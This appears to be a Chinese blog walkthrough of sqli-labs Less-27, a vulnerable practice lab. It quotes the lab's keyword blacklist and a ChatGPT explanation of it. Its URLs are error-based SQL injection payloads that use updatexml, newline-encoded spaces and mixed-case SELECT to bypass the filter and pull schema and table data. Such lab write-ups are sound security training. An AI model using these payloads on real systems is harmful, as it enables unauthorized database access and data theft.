51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-27

前言 {#前言}

从刚进去的主页我们可以看出这关可能将我们的union和select给过滤了,所以联合查询用不了了,可能要使用报错查询 分析源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

使用gpt分析一下

这段代码是一个 PHP 函数,名为 `blacklist`,接收一个参数 `$id`。该函数的作用是将传入的 `$id` 字符串中的一些特殊字符和关键字进行过滤,以避免 SQL 注入等安全问题。

具体来说,该函数使用了 PHP 的正则表达式函数 `preg_replace`,依次对 `$id` 字符串进行了多次替换操作。其中,每个 `preg_replace` 函数的第一个参数是一个正则表达式,第二个参数是用于替换的字符串,第三个参数是需要进行替换的原始字符串。


该函数的具体操作如下:




* 第1行:使用正则表达式 `/[\/\*]/` 匹配 `$id` 字符串中的 `/*`,并将其替换为空字符串,即删除 `/*`。


* 第2行:使用正则表达式 `/[--]/` 匹配 `$id` 字符串中的 `--`,并将其替换为空字符串,即删除 `--`。


* 第3行:使用正则表达式 `/[#]/` 匹配 `$id` 字符串中的 `#`,并将其替换为空字符串,即删除 `#`。


* 第4行:使用正则表达式 `/[ +]/` 匹配 `$id` 字符串中的空格,将其替换为空字符串,即删除空格。


* 第5行:使用正则表达式 `/select/m` 匹配 `$id` 字符串中的 `select`,并将其替换为空字符串,即删除 `select`,这里的 `/m` 表示多行模式,即在多行文本中匹配。


* 第6行:使用正则表达式 `/[ +]/` 再次匹配空格,将其替换为空字符串,即删除空格。


* 第7行:使用正则表达式 `/union/s` 匹配 `$id` 字符串中的 `union`,并将其替换为空字符串,即删除 `union`,这里的 `/s` 表示单行模式,即在整个字符串中匹配。


* 第8~11行:同上,分别匹配 `$id` 字符串中的 `select`、`UNION`、`SELECT`、`Union`、`Select` 并将其删除。


* 第12行:将处理后的 `$id` 字符串返回。


`总的来说,该函数的作用是将传入的 ``$id`` 字符串中的一些特殊字符和关键字进行删除,从而提高代码的安全性,防止 SQL 注入等安全问题。但是,该函数的过滤方式并不完全可靠,建议使用更加现代化的安全编程技术来避免安全问题。
`

简单来说就是跟之前一样过滤了一堆查询语句,甚至还过滤了全为大写的union和select还有全为小写的union和select,不过针对过滤还是有很多办法绕过的

实验环节 {#实验环节}

前期准备 {#前期准备}

由于还是要用空格字符替换空格,本题还是使用kali部署的sqli-labs

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-27地址

http://192.168.199.129/Less-27

image-1687834427991

构造闭合语句 {#构造闭合语句}

http://192.168.199.129/Less-27/?id=1' and '1'='1
#由于这题我们通过分析源码得出and和or并没有过滤,所以这题我们可以直接用,不过--空格和#注释都被过滤了我们还是要通过'1'='1进行闭合

image-1687834501859

判断库名 {#判断库名}

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(database()),0x7e),1)or '1'='1

image-1687834758288

判断表名 {#判断表名}

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(selEct%0atable_name%0afrom%0a information_schema.tables%0awhere%0atable_schema='security'limit%0a0,1),0x7e),1)or '1'='1
#这块大家可能看到我依旧写了一个select,但是又有所不同,对于全大写或者全小写的select我们可以将其中一个字母转为大写,就可以避免被过滤

image-1687834873862

判断列名 {#判断列名}

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(sElect%0acolumn_name%0afrom %0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand %0atable_name='emails'%0alimit%0a0,1),0x7e),1)or '1'='1

image-1687834940470

判断数据 {#判断数据}

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(sElect%0aid%0afrom%0aemails%0alimit %0a0,1),0x7e),1)or '1'='1

image-1687834991384

赞(0)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-27